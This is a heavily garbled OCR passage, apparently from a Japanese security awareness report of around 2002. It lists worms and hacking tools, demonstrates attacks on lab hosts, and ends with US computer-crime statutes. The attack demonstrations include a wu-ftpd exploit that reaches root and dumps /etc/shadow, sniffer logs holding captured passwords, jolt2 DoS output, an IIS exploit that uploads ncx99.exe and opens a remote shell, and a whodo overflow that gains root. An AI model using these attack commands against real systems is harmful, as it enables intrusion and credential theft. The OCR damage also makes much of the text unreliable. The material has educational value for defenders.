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CodeRed

Read Only
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Nimda

Nimda.E
CodeRed 1000 3
Nimda 1
Nimda
Nimda
11
2 12 18 7 1,2%
Nimda
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Sadmind/11S Worm
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XM_LAROUX.A

EXCEL95
EXCEL XLSTART
"Personal .xIs " EXCEL
EXCEL
"Personal .XLS" EXCEL
LITTLE RED
COM; .EXE 1480bytes
COMMAND . COM
1994 12 26
WORM_FBOUND.C
Windows 12288hytes
Important PATCH.EXE
CODERED.A
20 28 DoS Web
Windows NT/2000 4039bytes
Windows Web
1S remote buffer overflow vulnerability
DoS
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WORM_BADTRANS.B

13 11 24
Windows 29020bytes
WORM_BADTRANS.A
Internet Explorer
TROJ _QAZ.A
12
Windows 12032bytes
PC
2000 8 9 Web
IRC "'notepad.exe"
TROJ_MSINIT
Windows 22,016bytes 53,248bytes

distributed.net
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Whack A Mole
Ver.1.1 Ver.1.60 Ver.1.70 Whack A Mole
NetBus
NetBus
12361
12362
12363
NetBus
Windows 95 98 NT
Whack A Mole NetBus
0S NetBus
NetBus 12345 12346 20034
Whack A Mole NetBus 12361 12362 12363

Whack A Mole

YWhack-A-Mole
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wu-Fftpd

wu-ftpd CERT
CA-1994-07
Ver. 2.1f Ver. 2.2
FTP
FTP
UNIX 0S
wu-ftpd
/etc/shadow

anonymous
S Tera Term -

File Edit Setup Control Window Help

T talnet ek ek ek sk 21
Tiying ok ek ook dokk:

Escape character is ]

USER anonymous_

id;

uid=0{root) gid=Clroot)

cat fetc/shadow:

root TO/Z3hMc003 NG44
<snip...»
adminzdzgrz A B 1562
shs 2RO Huw YD1 1883 00
et

oLt
221 Goodbye.
Connection closed by foreign

Connected o e debok sk sk

220 sns FTP server (Wersion wu—2.6.0017 Sat Sep 19 00:15:20 JST 20017 ready.

331 Password reguired for anonymous.

host,

-47-



URL

Windows

HTML

001

Windows
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Brutus

http://www_hoobie.net/brutus/ 2002 3 AET2
Telnet FTP POP3 HTTP SMB NetBus
Windows
1D
Brutus 1D 1D
Brute Force Attack
60
TELNET admin admin

% Brufus - AETZ - v hoobie net/brutus - (lanuan: 2000k ;I_U_[ﬂ

File Tools Help

Tage: | Tupe [Telret =] [t | stop | e

Connection Optices
Pt [22 Connecions ™ f———— 10 Timequt FLC0ridl T UseProwy Dedine ‘

—Teinet Opbans ‘

Modfe sequence | [ Tiv bo stay connested for |Uriimie | atempts

Authenlicaton Dplions
¥ UseUzename = Single Uses Pass Mode |'#ord List "'I
UzedlDy |-=C'f!in E Fass File | CVmppasswd_iist tul Elowsal

Positive Authenticalion Resulls

Target | Type | Usemame | Passward |
| ] Tekwt admin admn

il [U=dmin P-admindl 0033 Attampts per cecand e P
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John the Ripper

http://www.openwal I .com/john/ 2002 3 v1i.6
DES UNIX Solaris DES  BSDI
MD5 Free BSD Blowfish Open BSD

Lan Manager Win NT

Unix DOS Win32

John the Ripper UNIX
/etc/passwd  Windows NT C: ¥WINNT ¥system32¥config¥SAM
John the Ripper
John the Ripper
DOS sample_passwd.txt
axded 911 passwards with 132 different salts (Standard 0E3 [24°32 4K1D
gk | (R AR
i |7 Lghen )
IELES R [gtaft)
arail Cuvama ) T (] |
il (cand) FHAE BNE EER0 AATH
hin i 00 (=hinji=t} =
i el ik ek USFHVNTE= 02620 i sk : Ahone s sk Abindcsh
P2 i)
wicoml 2 thucon ) mor inssas AWl BETUTLGEE: 1027220 rasacni mor | - /honesusernor ingzaz M irvicsh
oo i 2fB0 l:f-,-n-;-.l
oba] 835 (hiobo) nabman: U6 26/295 |k 1023220, dosh| kazunabannus MonesUearndanana: /bl ndesh
rmer {rwodoo)
:::r_.\:-rd ':m"_“"d:' waras inad seHef sXj prkBzaz 1029220 satoss i waras ina: Ahoneduse rfvaras inas /i ndesh
ock ie Ltz ian)
Sl ';“"""‘_':' : leamas i s -JEHODT 1 264 dE: 10502200 kazusi ok i notshonef serdkazs i /bindcsh
ra Inkow Lo-tokiwat
rilEb itommads)  uesitos iz LueDl FWAEI: 1021 10: Yoshitos |
les Lidhn =l Mat zraeas honedugerdvas itas | blndesh

el Sl zhaRHe 0B 10522 10 S i me Moo ra s o use ' saraloam: #bi nfesh

tasak i sudonOepRhaT A 10222 101 Hi roduni Tasak i homediser/asaki s/ bindesh

et b sl RFaHulZee: 1034 220 Tacach| N bvat sk Momeduear/mivat doas /Bl ndcsh
ol | oSG | vl 105 0 Me s Bk | - o serfaesk | /B indosh

tooukoneazble | LTETOOAS g2 106282 210 : Tourd coaT aboan i zawa : Mhoreuse b=t omal /bindesh
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Nmap

Insecure.Org.: 2002 3 2.54 Beta30
http://www._nmap.org/
0S
TCP/UDP 65535
400
0s

UNIX 0S Windows

(192.168.0.100) TCP 1 1024

Port
7/tcp
13/tcp
19/tcp
21/tcp
22/tcp
23/tcp
25/tcp
111/tcp
512/tcp
513/tcp
514/tcp

[root@sniff] nmap -p 1-1024 192.168.0.100
Starting nmap V. 2.54BETA29 ( www.insecure.org/nmap/ )
Interesting ports on (192.168.0.100):

(The 1008 ports scanned but not shown below are in state: closed)

State
open
open

open
open
open

open
open
open
open
open

open

Remote operating system guess: Solaris 2.6 - 2.7 with tcp_strong_iss=0
Uptime 4.957 days (since Fri Mar 8 18:14:51 2002)

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second

Service
echo
daytime
chargen
ftp
ssh
telnet
smtp
sunrpc
exec
login

shell
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UltraScan

Michael Marchuk 2002 3 v1l.5

TCP/30000

Windows

Windows GUI TCP
(192.168.0.100) TCP 1 1024

# utrascanvas =10

TCF/F Host Start Bange TCR/IP Host End Range

[192.162.0.100 [192.168.0.100 Scan
™ Single Port .Scanpmm|1 tohuz4 _EEQEE;:_
[™ Log Results ta Fils ||:u:urt.log ————
_J Idle
Ultra%can W.1.5

(c) 1996- 1993

ichasl hMarchuk

[

Scanned 1024 ports in 16 seconds. [64.00 portsdzec]

—UlraScan Help

Touze UltraScan, simply
enter the address range
of the hostz you'd like to
zcan. This version wil
only zcan a 'clags C
nietwark, (it only scans
uzing the last octect of
the addresz]. 'ou can
zcan eveny host in the
ranige you entered for any
number of ports, v'ou mayﬂ

i
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LinSniffer

Mike Edulla

<medulla@infosoc.com>

2002 3

v0.03.9

ftp telnet pop3 pop2

imap2 rlogin poppasswd

Linux

LinSniffer

tcpdump

LinSniffer

ftp get put

NIC
HUB

NotePC

snoop

LinSniffer

USER yamada
PASS tyamadal23
STAT

[root@snifflmore sniff.log

host34.xxx.co.jp => mail.xxx.co.jp [110]

QUIT

notepcl.xxx.co.jp => sv1.xxx.co.jp [23]
#'Pvt100'manage

@asd#fgh

su -

j9%ghost

host5.xxx.co.jp => sv1.xxx.co.jp [21]
rkrLrM Bs BUSER admin

s fu fPASS administrator

u SYST

uuQUIT

[root@sniff]
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mailsnarf

http://ww.monkey.org/~dugsong/

Dug Song 2002 3

<dugsong@monkey .org>

v2.3

UNIX 0S

OpenSSL  libpcap [libnet libnids

mailsnarf
pop3 smtp

mailsnarf

snoop tcpdump

mailsnarf NIC
HUB
NotePC
NotePC

mailsnarf

[root@mailsnarf /root]# mailsnarf

mailsnarf: listening on eth0

From userl@xxx.co.jp Wed Mar 13 23:36:26 2002
Message-Id: <5.0.2.6.2.20020314185340.055f84f0@192.168.0.3>
X-Sender: user1@192.168.0.3

X-Mailer;: QUALCOMM Windows Eudora Version 5.0.2-Jr1
Date: Thu, 14 Mar 2002 18:53:51 +0900

To: manager@xxx.co.jp

This is test mail

1111111111711 777777777

ZZZ YYY <userl@xxx.co.jp>
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Denial of Service Attack
Internet Explorer Form Denial of Service Vulnerability

Denial of Service

Ivan Sergio Borgonovo

<mail@gorilla.it>

Internet Explorer Denial of Service

Internet Explorer

Internet Explorer Internet Explorer
0S

Web
Denial of Service attack

Microsoft Internet Explorer 5.0 5.5

Web

Explorer Denial of Service

Internet

Internet

Explorer Form Denial of Service Vulnerability SecurityFocus BugTraq 1D:3892

Web Internet Explorer

| eEm -~ D0 S| e Lmoo 88 D D

[P €T v Y vt 1 T
a
FAlr-tug | FORa (=R |
OFL s OPL R
AU - ARMEEROA
T
{1 ada |
1lak M
o S0 ] e f et 1411
3447801
(1ral s TR
B Ll
FoEim  GRummEe LE
S T i T s

A=k | @ 51 5 || s Wedewe Tt | ke 2307 |[E 060t - Miemes. 40F E2=F | [ A@E nm
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jolt2

Denial of Service

Phonix <phonix@moocow.org>

Denial of Service

CPU Windows 0S "

0S 0S

UNIX OS
Denial of Service attack 0S
Microsoft Windows 98
Microsoft Windows NT4.0 with SP5 or 6
Microsoft Windows 2000 non SP

CPU Denial of Service

1P MS00-029

(192.168.0.15)

[root@dosattack]# nmap -O 192.168.0.15

Remote operating system guess: Windows 2000 RC1 through final release
[root@dosattack]# ./jolt2_dos 192.168.0.15

16:11:18.649998 dosattack > 192.168.0.15: (frag 1109:9@65520)
16:11:18.650165 dosattack > 192.168.0.15: (frag 1109:9@65520)
16:11:18.650319 dosattack > 192.168.0.15: (frag 1109:9@65520)
16:11:18.650446 dosattack > 192.168.0.15: (frag 1109:9@65520)
16:11:18.650572 dosattack > 192.168.0.15: (frag 1109:9@65520)
16:11:18.652916 dosattack > 192.168.0.15: (frag 1109:9@65520)
16:11:18.653074 dosattack > 192.168.0.15: (frag 1109:9@65520)
16:11:18.653198 dosattack > 192.168.0.15: (frag 1109:9@65520)
16:11:18.653324 dosattack > 192.168.0.15: (frag 1109:9@65520)
16:11:18.653449 dosattack > 192.168.0.15: (frag 1109:9@65520)
16:11:18.655008 dosattack > 192.168.0.15: (frag 1109:9@65520)
16:11:18.655138 dosattack > 192.168.0.15: (frag 1109:9@65520)
16:11:18.655405 dosattack > 192.168.0.15: (frag 1109:9@65520)
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s5idg_

exp

mat@hacksware.com

mat@monkey.org
http://monkey.org/~mat

Internet Information Services 5.0 Index Service

UNIX 0S

Windows NT(NonSP to SP6a)lInternet Information Server 4.0
Windows 2000(NonSP to SP2)+Internet Information Services 5.0

SP6aSRP(Windows NT) Hotfix Q296185(Windows 2000)

Internet Information Services 5.0 Index Service

5.0 Index Server

Internet Information Services
(MS01-025)

(192.168.0.50)

[root@attack]# iis5idg_exp 192.168.0.50 ncx99.exe ncx99.exe

47 4554 20 2F 61 2E 69 64 71 3F 01 01 01 01 01

59392 bytes send...

Done.

[root@attack]# telnet 192.168.0.50 99
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

Tcp/99

C¥WINNT¥system32> ipconfig

Tep/99

-57-




whodo overflow proof

Pablo Sor
<psor@afip.gov.ar>

Solaris 8 intel86

whodo Solaris 0S

intel86 SPARC  Solaris Solaris2.5 Solaris2.5.1 Solaris2.6 Solaris7.0 Solaris
8.0
Solaris 0S whodo login user

Sun
AlertID:27730 Buffer Overflow in whodo(1M) Command

(192.168.0.5) (user)

[user@host]# ifconfig pcn0

pcn0: flags=1000843<UP,BROADCAST,RUNNING,MULTICAST,IPv4> mtu 1500 index 2
inet 192.168.0.5 netmask ffff0000 broadcast 192.168.0.255

[user@host]# id

uid=1250(user) gid=1000(usr)

[user@host]# ./whodo_exploit

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AA

host

# ifconfig pcnO

pcn0: flags=1000843<UP,BROADCAST ,RUNNING,MULTICAST,IPv4> mtu 1500 index 2
inet 192.168.0.5 netmask ffff0000 broadcast 192.168.0.255

#id

uid=0(root) gid=1000(user)

#
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A.1.D.S

AIDS

"There is a virus going around called the A.1.D.S. virus. It will attach itself inside your
computer and eat away at your memory this memory is irreplaceable. Then when it’s finished with
memory it infects your mouse or pointing device. Then it goes to your key board and the letter
you type will not register on screen. Before it self terminates it eats 5mb of hard drive space
and will delete all programs on it and it can shut down any 8 bit to 16 bit sound cards rendering
your speaker useless. It will come in E-mail called "Open:Very Cool! : )". Delete it right away.

Thiss virus will basicly render your computer useless. You must pass this on quickly and to as

A.1.D.S.

bit bit
"Open:Very Cool! : "

SULFNBK

""SULFNBK.EXE"

""SULFNBK.EXE" Windows
Windows9x
PE_MAGISTR.A Windows

"SULFNBK.EXE"

"SULFNBK.EXE™  Windows9x
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WormGenerator

"(K)Alamar"
" Vbs Worms Generator”

IVP_v1.0 THCK v1.0b Virus Creation Laboratory

KeyGenerator
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( 18 1030 )

§ 1030. Fraud and Related Activity in Connection 1030
with Computers (@ ©)
(a) Whoever
(1) having knowingly accessed a computer without (€D)
authorization or exceeding authorized access,
and by means of such conduct having obtained
information that has been determined by the

United States Government pursuant to an

Executive order or statute to require 1954 11 y

protection against unauthorized disclosure

for reasons of national defense or foreign
relations, or any restricted data, as defined
in paragraph y. of section 11 of the Atomic

Energy Act of 1954, with reason to believe that

such information so obtained could be used to

the injury of the United States, or to the
advantage of any foreign nation willfully
communicates, delivers, transmits, or causes
to be communicated, delivered, or
transmitted, or attempts to communicate,
deliver, transmit or cause to be communicated,
delivered, or transmitted the same to any
person not entitled to receive it, or (@)
willfully retains the same and fails to
deliver it to the officer or employee of the

United States entitled to receive it; Q) 15 1602 (@)

(2) intentionally accesses a computer without
authorization or exceeds authorized access, (15 U.S.C. 1681 et seq.)
and thereby obtains--

(A) information contained in a financial
record of a financial institution, or of a B)
card issuer as defined in section 1602(n) of ©
title 15, or contained in a file of a
consumer reporting agency on a consumer, as (©))
such terms are defined in the Fair Credit
Reporting Act (15 U.S.C. 1681 et seq.);

(B) information from any department or agency
of the United States; or

(C) information from any protected computer if
the conduct involved an interstate or
foreign communication;
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(3) intentionally, without authorization to
access any nonpublic computer of a department
or agency of the United States, accesses such
a computer of that department or agency that
is exclusively for the use of the Government
of the United States or, in the case of a
computer not exclusively for such use, is used
by or for the Government of the United States
and such conduct affects that use by or for the
Government of the United States;

(4) knowingly and with intent to defraud,
accesses a protected computer without
authorization, or exceeds authorized access,
and by means of such conduct furthers the
intended fraud and obtains anything of value,
unless the object of the fraud and the thing
obtained consists only of the use of the
computer and the value of such use is not more
than $ 5,000 in any one-year period;

©)
Q)

(1) knowingly causes the transmission of a
program, information, code, or command,
and as a result of such conduct,
intentionally causes damage without
authorization, to a protected computer;

(i1) intentionally accesses a protected
computer without authorization, and as a
result of such conduct, recklessly causes
damage; or

(iii) intentionally accesses a protected
computer without authorization, and as a
result of such conduct, causes damage;
and

(B) by conduct described in clause (i), (ii),
or (iii) of subparagraph (A), caused (or, in
the case of an attempted offense, would, if
completed, have caused)--

(i) loss to 1 or more persons during any
1-year period (and, for purposes of an
investigation, prosecution, or other
proceeding brought by the United States
only, loss resulting from a related
course of conduct affecting 1 or more

(©)

®)
Q)

®

©

©)

1029

Q)]

®

)

O] @
©
© @ ®

@
Q)] @ @

10

® @ O

5 000
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other protected computers) aggregating
at least $5,000 in value;
(i1) the modification or impairment, or

potential modification or impairment, of

the medical examination, diagnosis,
treatment, or care of 1 or more
individuals;

(iii) physical injury to any person;

(iv) a threat to public health or safety; or

(v) damage affecting a computer system used
by or for a government entity in

furtherance of the administration of
justice, national defense, or national
security;

(6) knowingly and with intent to defraud traffics
(as defined in section 1029) in any password or
similar information through which a computer may
be accessed without authorization, if

(A) such trafficking affects interstate or foreign
commerce; or

(B) such computer is used by or for the Government
of the United States;

(7) with intent to extort from any person, any money
or other thing of value, transmits in interstate
or foreign commerce any communication containing
any threat to cause damage to a protected
computer;

shall be punished as provided in subsection (c) of
this section.

(b) Whoever attempts to commit an offense under
subsection (a) of this section shall be punished
as provided in subsection (c) of this section.

(c) The punishment for an offense under subsection
(a) or (b) of this section is --

@

(A) a fine under this title or imprisonment for not
more than ten years, or both, in the case of an
offense under subsection (a)(1) of this section
which does not occur after a conviction for
another offense under this section, or an attempt
to commit an offense punishable under this
subparagraph; and

(B) a fine under this title or imprisonment for not
more than twenty years, or both, in the case of
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an offense under subsection (a)(1) of this

section which occurs after a conviction for

another offense under this section, or an attempt [USA Patriot Act of 2001 ]

to commit an offense punishable under this | (

subparagraph; and http://www. isc.meiji.ac.jp/~sumwel_h/doc/code/index.html
@ )

(A) except as provided in subparagraph (B), a fine
under this title or imprisonment for not more
than one year, or both, in the case of an offense
under subsection (@), @Q@Q),
@ G)A)(iii), or (a)(6) of this section which
does not occur after a conviction for another
offense under this section, or an attempt to
commit an offense punishable under this
subparagraph;

(B) a fine under this title or imprisonment for not
more than 5 years, or both, in the case of an
offense under subsection (a)(2)or an attempt to
commit an offense punishable under this
subparagraph, if-

(i) the offense was committed for purposes of
commercial advantage or private f inancial gain;

(ii) the offense was committed in furtherance of
any criminal or tortious act in violation of the
Constitution or laws of the United States or of
any State; or

(iii) the value of the information obtained exceeds
$5,000;

(C) a fine under this title or imprisonment for not
more than ten years, or both, in the case of an
offense under subsection (a)(2), (a)(3) or
(a)(6) of this section which occurs after a
conviction for another offense under this
section, or an attempt to commit an offense
punishable under this subparagraph; and

®

(A) a fine under this title or imprisonment for not
more than five years, or both, in the case of an
offense under subsection (a)(4), or (a)(7) of
this section which does not occur after a
conviction for another offense under this
section, or an attempt to commit an offense
punishable under this subparagraph; and

(B) a fine under this title or imprisonment for not
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more than ten years, or both, in the case of an
offense under subsection (a)(4), (@)(B)(A)(1i1)
or (a)(7) of this section which occurs after a
conviction for another offense under this
section, or an attempt to commit an offense

punishable under this subparagraph; and

(d)(1) The United States Secret Service shall, in
addition to any other agency having such
authority, have the authority to investigate
offenses under this section.

(2) The Federal Bureau of Investigation shall have
primary authority to investigate offenses under
subsection (@)(1) for any cases involving
espionage, foreign counterintel ligence,
information protected against unauthorized
disclosure for reasons of national defense or
foreign relations, or Restricted Data (as that
term is defined in section 11y of the Atomic
Energy Act of 1954 (42 U.S.C. 2014(y)), except
for offenses affecting the duties of the United
States Secret Service pursuant to section
3056(a) of this title.

(3) Such authority shall be exercised in accordance
with an agreement which shall be entered into by

the Secretary of the Treasury and the Attorney

General.
[USA Patriot Act of 2001 ]
502 (b), (c), (d), (&)
502. 502

(b) (10) "Computer contaminant" means any set of
computer instructions that are designed to
modify, damage, destroy, record, or transmit
information within a computer, computer
system, or computer networkwithout the intent
or permission of the owner of the information.
They include, but are not limited to, a group
of computer instructions commonly called
viruses or worms, that are self-replicating or
self-propagating and are designed to
contaminate other computer programs or
computer data, consume computer resources,

modify, destroy, record, or transmit data, or

() (10
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in some other fashion usurp the normal

operation of the computer, computer system, or

computer network.

(c) Except as provided in subdivision (h), any
person who commits any of the following acts
is guilty of a public offense:

(1) Knowingly accesses and without permission
alters, damages, deletes, destroys, or
otherwise uses any data, computer, computer
system, or computer network in order to
either (A) devise or execute any scheme or
artifice to defraud, deceive, or extort, or
(B) wrongfully control or obtain mney,
property, or data.

(2) Knowingly accesses and without permission
takes, copies, or makes use of any data from
a computer, computer system, or computer
network, or takes or copies any supporting
documentation, whether existing or residing
internal orexternal to a computer, computer
system, or computer network.

(3) Knowingly and without permission uses or
causes to be used computer services.
(4) Knowingly accesses and without permission
adds, alters, damages, deletes, or destroys
any data, computer software, or computer
programs which reside or exist internal or
external toa computer, computer system, or

computer network.

(5) Knowingly and without permission disrupts
or causes the disruption of computer
services or denies or causes the denial of
computer services to an authorized user of
a computer, computer system, or computer
network.

(6) Knowingly and without permission provides
or assists in providing a means of accessing
a computer, computer system, or computer
network in violation of this section.

(7) Knowingly and without permission accesses
or causes to be accessed any computer,
computer system, or computer network.

(8) Knowingly introduces any computer
contaminant into any computer, computer
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system, or computer network.

(9) Knowingly and without permission uses the

Internet domain name of another individual,

corporation, or entity in connection with the

sending of one or more electronic mail

messages, and thereby damages or causes damage

to a computer, computer system, or computer

network.

©)

(1) Any person who violates any of the
provisions of paragraph (1), (2), (4), or

(5) of subdivision (c) is punishable by a

fine not exceeding ten thousand dollars

($10,000), or by imprisonment in the state

prison for 16 months, or two or three years,

or by both that fine and imprisonment, or by

a fine not exceeding five thousand dollars

($5,000), or by imprisonment in a county

jail not exceeding one year, or by both that

fine and imprisonment.
(2) Any person who violates paragraph (3) of
subdivision (c) is punishable as follows:

(A) For the first violation that does not
result in injury, and where the value of
the computer services used does not exceed
four hundred dollars ($400), by a fine not
exceeding five thousand dol lars ($5,000),
or by imprisonment in a county jail not
exceeding one year, or by both that fine
and imprisonment.

(B) For any violation that results in a
victim expenditure in an amount greater
than five thousand dollars ($5,000) or in
an injury, or if the value of the computer
services used exceeds four hundred

dollars ($400), or for any second or
subsequent violation, by a fine not
exceeding ten thousand dollars ($10,000),
or by imprisonment in the state prison for
16 months, or two or three years, or by
both that fine and imprisonment, or by a
fine not exceeding five thousand dollars
($5,000), or by imprisonment in a county
jail not exceeding one year, or by both
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that fine and imprisonment.

(3) Any person who violates paragraph (6) or
(7) of subdivision (c) is punishable as
follows:

(A) For a first violation that does not
result in injury, an infraction
punishable by a fine not exceeding one
thousand dollars ($1,000).

(B) For any violation that results in a
victim expenditure in an amount not
greater than five thousand dollars
($5,000), or for a second or subsequent
violation, by a fine not exceeding five
thousand dollars ($5,000), or hy
imprisonment in a county jail not
exceeding one year, or by both that fine
and imprisonment.

(C) For any violation that results in a
victim expenditure in an amount greater
than five thousand dollars ($5,000), by a
fine not exceeding ten thousand dollars
($10,000), or by imprisonment in the state
prison for 16 months, or two or three
years, or by both that fine and
imprisonment, or by a fine not exceeding
five thousand dollars ($5,000), or by
imprisonment in a county jail not
exceeding one year, or by both that fine
and imprisonment.

(4) Any person who violates paragraph (8) of
subdivision (c) is punishable as follows:
(A) For a first violation that does not

result in injury, a misdemeanor
punishable by a fine not exceeding five
thousand dollars ($5,000), or by
imprisonment in a county jail not
exceeding one year, or by both that fine
and imprisonment.

(B) For any violation that results in
injury, or for a second or subsequent
violation, by a fine not exceeding ten
thousand dollars ($10,000), or by
imprisonment in a county jail not
exceeding one year, or in the state
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prison, or by both that fine and
imprisonment.

(5) Any person who violates paragraph (9) of
subdivision (c) is punishable as follows:
(A) For a first violation that does not

result in injury, an infraction
punishable by a fine not one thousand
dollars.

(B) For any violation that results in
injury, or for a second or subsequent
violation, by a fine not exceeding five
thousand dollars ($5,000), or by
imprisonment in a county jail not
exceeding one year, or by both that fine
and imprisonment.

(e)

(1) In addition to any other civil remedy
available, the owner or lessee of the
computer, computer system, computer
network, computer program, or data who
suffers damage or loss by reason of a
violation of any of the provisions of
subdivision (c¢) may bring a civil action
against the violator for compensatory
damages and injunctive relief or other
equitable relief. Compensatory damages
shall include any expenditure reasonably
and necessarily incurred by the owner or
lessee to verify that a computer system,
computer network, computer program, or data
was or was not altered, damaged, or deleted
by the access. For the purposes of actions
authorized by this subdivision, the conduct
of an unemancipated minor shall be imputed
to the parent or legal guardian having
control or custody of the minor, pursuant to
the provisions of Section 1714.1 of the
CivilCode.

(2) In any action brought pursuant to this
subdivision the court may award reasonable
attorney"s fees.

(3) A community college, state university, or
academic institution accredited in this

state is required to include

-69-




computer-related crimes as a specific
violation of college or university student
conduct policies and regulations that may
subject a student to disciplinary sanctions
up to and including dismissal from the
academic institution. This paragraph
shall not apply to the University of
California unless the Board of Regents
adopts a resolution to that effect.

(4) In any action brought pursuant to this
subdivision for a willful violation of the
provisions of subdivision (c), where it is
proved by clear and convincing evidence that
a defendant has been guilty of oppression,
fraud, or malice as defined in subdivision
(c) of Section 3294 of the Civil Code, the
court may additionally award punitive or
exemplary damages.

(5) No action may be brought pursuant to this
subdivision unless it is initiated within
three years of the date of the act complained
of, or the date of the discovery of the

damage, whichever is later.

16 D-3

(Sec. 16D-3. Computer Tampering.

(a) A person commits the offense of computer
tampering when he knowingly and without the
authorization of a computer®"s owner, as
defined in Section 15-2 of this Code, or in
excess of the authority granted to him:
(1) Accesses or causes to be accessed a

computer or any part thereof, or a program
or data;

(2) Accesses or causes to be accessed a
computer or any part thereof, or a
program or data, and obtains data or
services;

(3) Accesses or causes to be accessed a
computer or any part thereof, or a program
or data, and damages or destroys the
computer or alters, deletes or removes a
computer program or data;

(4) Inserts or attempts to insert a "program"
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into a computer or computer program knowing
or having reason to believe that such
"program”  contains information or
commands that will or may damage or destroy
that computer, or any other computer
subsequently accessing or being accessed by
that computer, or that will or may
alter, delete or remove a computer program
or data from that computer, or ay
other computer program or data in a
computer subsequently accessing or being
accessed by that computer, or that will or
may cause loss to the users of that computer
or the users of a computer which accesses
or which is accessed by such "program";
(5) Falsifies or forges electronic mail
transmission information or other routing
information in any manner in connection
with the transmission of unsolicited bulk
electronic mail through or into the
computer network of an electronic mail
service provider or its subscribers;
(a-5) It shall be unlawful for any person
knowingly to sell, give, or otherwise
distribute or possess with the intent to
sell, give, or distribute software which
(1) is primarily designed or produced for the
purpose of facilitating or enabling the
falsification of electronic mail transmission
information or other routing information; (2)
has only a limited commercially
significant purpose or use other than to
facilitate
or enable the falsification of electronic mail
transmission information or other routing
information; or (3) is marketed by that
person or another acting in concert with
that person with that person®s knowledge for
use in facilitating or enabling the
falsification of electronic mail transmission
information or other routing information.
(b) Sentence.
(1) A person who commits the offense of

computer tampering as set forth in
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subsection (@)(1), (@)(®5), or (a5) of
this Section shall be guilty of a Class B
misdemeanor.

(2) A person who commits the offense of
computer tampering as set forth in
subsection (a)(2) of this Section shall be
guilty of aClass A misdemeanor and a
Class 4 felony for the second or subsequent
offense.

(3) A person who commits the offense of
computer tampering as set forth in
subsection (a)(3) or subsection (a)(4) of
this Section shall be guilty of a
Class 4 felony and a Class 3 felony for the
second or subsequent offense.

(4) If the injury arises from the transmission
of unsolicited bulk electronic mail,
the injured person, other than an
electronic mail service provider, may also
recover attorney"s fees and costs, and
may elect, in lieu of actual damages, to
recover the lesser of $10 for each and every
unsolicited bulk electronic mail
message transmitted in violation of this
Section, or $25,000 per day. The injured
person shall not have a cause of
action against the electronic mail
service provider that merely transmits
the unsolicited bulk electronic mail over
its computer network.

(5) If the injury arises from the transmission
of unsolicited bulk electronic mail,
an injured electronic mail service provider
may also recover attorney"s fees and costs,
and may elect, in lieuof actual damages,
to recover the greater of $10 for each and
every unsolicited electronic  mail
advertisement transmitted in violation
of this Section, or $25,000 per day.

(6) The provisions of this Section shall not
be construed to limit any person®s right to
pursue any additional civil remedy
otherwise allowed by law.

(c) Whoever suffers loss by reason of a violation
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of subsection (a)(4) of this Section may, in
a civil action against the violator,
obtain appropriate relief. In a civil
action under this Section, the

court may award to the prevailing party
reasonable attorney"s  fees and other
litigation expenses.

815 03

815

06

815.03 Definitions.--As used in this chapter,
unless the context clearly indicates otherwise:
(3) "Computer contaminant™ means any set of

computer instructions designed to modify,

damage, destroy, record, or transmit information

within a computer, computer system, or computer

network without the intent or permission of the

owner of the information. The term includes, but

is not limited to, a group of computer

instructions commonly called viruses or worms

which are self-replicating or self-propagating
and which are designed to contaminate other
computer programs or computer data; consume
computer resources; modify, destroy, record, or
transmit data; or in some other fashion usurp the
normal operation of the computer, computer
system, or computer network.

815.06 Offenses against computer users.--

(1) Whoever willfully, knowingly, and without
authorization:

(a) Accesses or causes to be accessed any
computer, computer system, or computer
network;

(b) Disrupts or denies or causes the denial of
computer system services to an authorized user
of such computer system services, which, in
whole or part, is owned by, under contract to,
or operated for, on behalf of, or in
conjunction with another;

(c) Destroys, takes, injures, or damages
equipment or supplies used or intended to be
used in a computer, computer system, or
computer network;

(d) Destroys, injures, or damages any computer,

computer system, or computer network; or
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(e) Introduces any computer contaminant into
any computer, computer system, or computer
network, commits an offense against computer
users.

@)

(a) Except as provided in paragraphs (b) and
(c), whoever violates subsection (1) commits
a felony of the third degree, punishable as
provided in s. 775.082, s. 775.083, or s.
775.084.

(b) Whoever violates subsection (1) and:
1. Damages a computer, computer equipment,

computer supplies, a computer system, or a
computer network, and the monetary damage or
loss incurred as a result of the violation
is $5,000 or greater;

2. Commits the offense for the purpose of
devising or executing any scheme or artifice
to defraud or obtain property; or

3. Interrupts or impairs a governmental
operation or public communication,
transportation, or supply of water, gas, or
other public service,

commits a felony of the second degree,

punishable as provided in s. 775.082, s.

775.083, or s. 775.084.

(c) Whoever violates subsection (1) and the
violation endangers human life commits a
felony of the first degree, punishable as
provided in s. 775.082, s. 775.083, or s.
775.084.

(3) Whoever willfully, knowingly, and without
authorization modifies equipment or supplies
used or intended to be used in a computer,
computer system, or computer network commits a
misdemeanor of the first degree, punishable as
provided in s. 775.082 or s. 775.083.

(O]

(@) In addition to any other civil remedy
available, the owner or lessee of the
computer, computer system, computer network,
computer program, computer equipment,

computer supplies, or computer data may bring
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under this section for compensatory damages.
(b) In any action brought under this
subsection, the court may award reasonable
attorney”s fees to the prevailing party.

(5) Any computer, computer system, computer
network, computer software, or computer data
owned by a defendant which is used during the
commission of any violation of this section or
any computer owned by the defendant which is used
as a repository for the storage of software or
data obtained in violation of this section is
subject to forfeiture as provided under ss.
932.701-932.704.

(6) This section does not apply to any person who
accesses his or her employer®s computer system,
computer network, computer program, or computer
data when acting within the scope of his or her
lawful employment.

(7) For purposes of bringing a civil or criminal
action under this section, a person who causes,
by any means, the access to a computer, computer
system, or computer network in one jurisdiction
from another jurisdiction is deemed to have
personally accessed the computer, computer
system, or computer network in both

jurisdictions.

932 701 932 704
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3933

3933. Unlawful use of computer.

(a) Offense defined.--A person commits the offense
of unlawful use of a computer if he, whether in
person, electronically or through the
intentional distribution of a computer virus:
accesses, exceeds authorization to access,
alters, damages or destroys any computer,
computer system, computer network, computer
software, computer program or data base or any
part thereof, with the intent: to interrupt the
normal functioning of an organization or to
devise or execute any scheme or artifice to
defraud or deceive or control property or
services by means of false or fraudulent

pretenses, representations or promises;

3933
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intentionally and without authorization
accesses, alters, interferes with the operation
of, damages or destroys any computer, computer
system, computer network, computer software,
computer program or computer data base or any
part thereof;

intentionally or knowingly and without
authorization gives or publishes a password,
identifying code, personal identification
number or other confidential information about
a computer, computer system, computer network or
data base.

intentionally or knowingly engages in a scheme
or artifice, including, but not limited to, a
denial of service attack, upon any computer,
computer system, computer network, computer
